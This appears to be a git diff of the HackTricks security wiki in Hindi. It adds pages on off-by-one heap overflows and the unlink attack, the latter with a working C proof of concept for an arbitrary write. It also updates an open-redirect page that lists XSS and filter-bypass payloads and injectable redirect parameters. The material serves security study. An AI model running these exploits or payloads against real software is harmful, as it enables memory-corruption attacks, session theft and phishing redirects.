* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ शून्य से हीरो तक AWS हैकिंग सीखें</summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) पर **फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
# एक ओफ बाई वन ओवरफ्लो
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## मौलिक जानकारी
|
||||
|
||||
केवल 1B ओवरफ्लो तक पहुंचने से हमलावर को पिछले आकार मेटाडेटा जानकारी को संशोधित करने की अनुमति होती है, जिससे वह चंक्स को वास्तव में मुक्त कर सकता है, अंततः एक चंक उत्पन्न करता है जो एक और वैध चंक को शामिल करता है।
|
||||
|
||||
### कोड उदाहरण:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* यह हमला Tcaches का उपयोग करने के कारण अब काम नहीं कर रहा है।
|
||||
* इसके अतिरिक्त, यदि आप इसका दुरुपयोग करने की कोशिश करते हैं बड़े चंक्स का उपयोग करके (ताकि tcaches शामिल न हों), तो आपको त्रुटि मिलेगी: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* एक चंक को दूसरे चंक में शामिल करना ताकि दूसरे चंक पर लेखन पहुंच दें जिससे शामिल चंक को अधिक लिखा जा सके
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* पिछले आकार मेटाडेटा जानकारी को संशोधित करने के लिए एक ओफ बाई वन ओवरफ्लो
|
||||
|
||||
### हमला
|
||||
|
||||
* 3 मेमोरी चंक्स (a, b, c) एक के बाद एक आरक्षित किए जाते हैं। फिर मध्य वाला एक मुक्त किया जाता है। पहला एक ओफ बाई वन ओवरफ्लो वंशजता है और हमलावर इसे 0x00 के साथ दुरुपयोग करता है (यदि पिछला बाइट 0x10 था तो यह मध्य चंक को इससे 0x10 छोटा बताएगा)।
|
||||
* फिर, मध्य मुक्त चंक (b) में 2 और छोटे चंक्स आवंटित किए जाते हैं, हालांकि, `b + b->size` कभी भी c चंक को अपडेट नहीं करता क्योंकि दिखाए गए पते का आकार उससे छोटा होता है।
|
||||
* फिर, b1 और c मुक्त हो जाते हैं। क्योंकि `c - c->prev_size` अब भी b को दिखाता है (अब b1), इन दोनों को एक चंक में समेकित किया जाता है। हालांकि, b2 अब भी b1 और c के बीच में है।
|
||||
* अंततः, एक नया मैलोक किया जाता है जिससे यह मेमोरी क्षेत्र पुनः प्राप्त किया जाता है जिसमें वास्तव में b2 शामिल होने जा रहा है, जिससे नए मैलोक के मालिक को b2 की सामग्री को नियंत्रित करने की अनुमति होती है।
|
||||
|
||||
यह छवि हमला पूरी तरह से समझाती है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
139
binary-exploitation/heap/unlink-attack.md
Normal file
139
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,139 @@
|
|||
# अनलिंक हमला
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का हमारा संग्रह खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
जब यह हमला खोजा गया था, तो यह अधिकांश वक्त एक डब्ल्यूडब्ल्यूडब्ल्यू (Write What Where) की अनुमति देता था, हालांकि, कुछ **जांचें जोड़ी गई गई थीं** जिससे हमले के नए संस्करण को और अधिक रोचक और **अधिक जटिल और अउपयोगी** बनाया गया।
|
||||
|
||||
### कोड उदाहरण:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>कोड</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
* हमला काम नहीं करता अगर tcaches का उपयोग किया जाता है
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* स्टैक में एक चंक के लिए एक पॉइंटर को संशोधित करें ताकि यह स्थिति संभाली जा सके और चंक में लिखकर स्टैक की सामग्री को बदलना संभव हो
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* किसी मेमोरी में कुछ नियंत्रण (उदाहरण के लिए स्टैक) ताकि कुछ गुणों को देने के लिए कुछ चंक बनाएं।
|
||||
* पूर्वानुमान में स्टैक लीक ताकि नकली चंक के पॉइंटर को सेट करने के लिए
|
||||
|
||||
### हमला
|
||||
|
||||
* कुछ चंक हैं (चंक1 और चंक2)
|
||||
* हमलावर चंक1 की सामग्री और चंक2 के हेडर को नियंत्रित करता है।
|
||||
* चंक1 में हमलावर नकली चंक का संरचना बनाता है:
|
||||
* सुनिश्चित करने के लिए कि क्षेत्र `size` ठीक है ताकि त्रुटि न हो: `corrupted size vs. prev_size while consolidating`
|
||||
* और नकली चंक के फील्ड `fd` और `bk` चंक1 पॉइंटर को संग्रहित स्थान पर पहुंचते हैं जिसमें -3 और -2 के ऑफसेट होते हैं इसलिए `fake_chunk->fd->bk` और `fake_chunk->bk->fd` मेमोरी (स्टैक) की स्थिति को इंडिकेट करते हैं जहां वास्तविक चंक1 पता स्थित है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* चंक2 के हेडर संशोधित किए जाते हैं ताकि सूचित किया जा सके कि पिछला चंक उपयोग नहीं है और यह नकली चंक में शामिल है।
|
||||
* जब दूसरा चंक मुक्त होता है तो यह नकली चंक अनलिंक हो जाता है:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* पहले यह बनाया गया था कि `fake_chunk->fd->bk` और `fake_chunk->fd->bk` एक ही स्थान पर पहुंचते हैं (स्टैक में `chunk1` स्थिति थी, इसलिए यह एक मान्य लिंक्ड सूची थी)। जैसे ही **दोनों एक ही स्थान पर पहुंचते हैं** केवल अंतिम वाला (`fake_chunk->bk->fd = fake_chunk->fd`) **प्रभाव** डालेगा।
|
||||
* यह **स्टैक में चंक1 के पॉइंटर को ओवरराइट करेगा जो स्टैक में 3 पते पहले स्थित एड्रेस (या बाइट्स) को स्टोर करेगा**।
|
||||
* इसलिए, यदि हमलावर फिर से चंक1 की सामग्री को नियंत्रित कर सकता है, तो वह स्टैक में लिखने में सक्षम होगा और संभावित रूप से कैनेरी को छोड़कर वापसी पता ओवरराइड कर सकता है और स्थानीय चरों के मान और पॉइंट को संशोधित कर सकता है। फिर से स्टैक में चंक1 के पते को एक विभिन्न स्थान पर स्टोर किया जाता है जहां अगर हमलावर फिर से चंक1 की सामग्री को नियंत्रित कर सकता है तो वह कहीं भी लिख सकता है।
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में **PR जमा करके** अपने हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
|
@ -1,27 +1,28 @@
|
|||
# ओपन रीडायरेक्ट
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## ओपन रीडायरेक्ट
|
||||
|
||||
# ओपन रीडायरेक्ट
|
||||
|
||||
## लोकलहोस्ट या विचित्र डोमेन पर रीडायरेक्ट
|
||||
### लोकलहोस्ट या विचित्र डोमेन पर रीडायरेक्ट
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XSS के लिए ओपन रीडायरेक्ट
|
||||
### XSS के लिए ओपन रीडायरेक्ट
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +30,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,7 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# ओपन रीडायरेक्ट svg फ़ाइलें अपलोड करना
|
||||
## ओपन रीडायरेक्ट svg फ़ाइलें अपलोड करना
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -74,7 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# सामान्य इन्जेक्शन पैरामीटर
|
||||
## सामान्य इन्जेक्शन पैरामीटर
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -149,34 +153,17 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
# कोड उदाहरण
|
||||
## कोड उदाहरण
|
||||
|
||||
### .Net
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### जावा
|
||||
#### जावा
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
#### Open Redirect Vulnerability
|
||||
|
||||
An open redirect vulnerability in a PHP application allows an attacker to redirect users to malicious websites. This can be exploited by crafting a malicious URL that redirects users to a phishing page or a malware-infected site.
|
||||
|
||||
##### Example
|
||||
|
||||
```php
|
||||
<?php
|
||||
$redirect_url = $_GET['url'];
|
||||
header('Location: ' . $redirect_url);
|
||||
?>
|
||||
```
|
||||
|
||||
##### Prevention
|
||||
|
||||
To prevent open redirect vulnerabilities in PHP, always validate and sanitize user input, especially when dealing with URL parameters. Whitelist allowed domains and only redirect users to URLs within the whitelist.
|
||||
#### PHP
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -184,18 +171,17 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# उपकरण
|
||||
## उपकरण
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# संसाधन
|
||||
## संसाधन
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) में आप फजिंग सूचियाँ पा सकते हैं।
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -204,8 +190,8 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue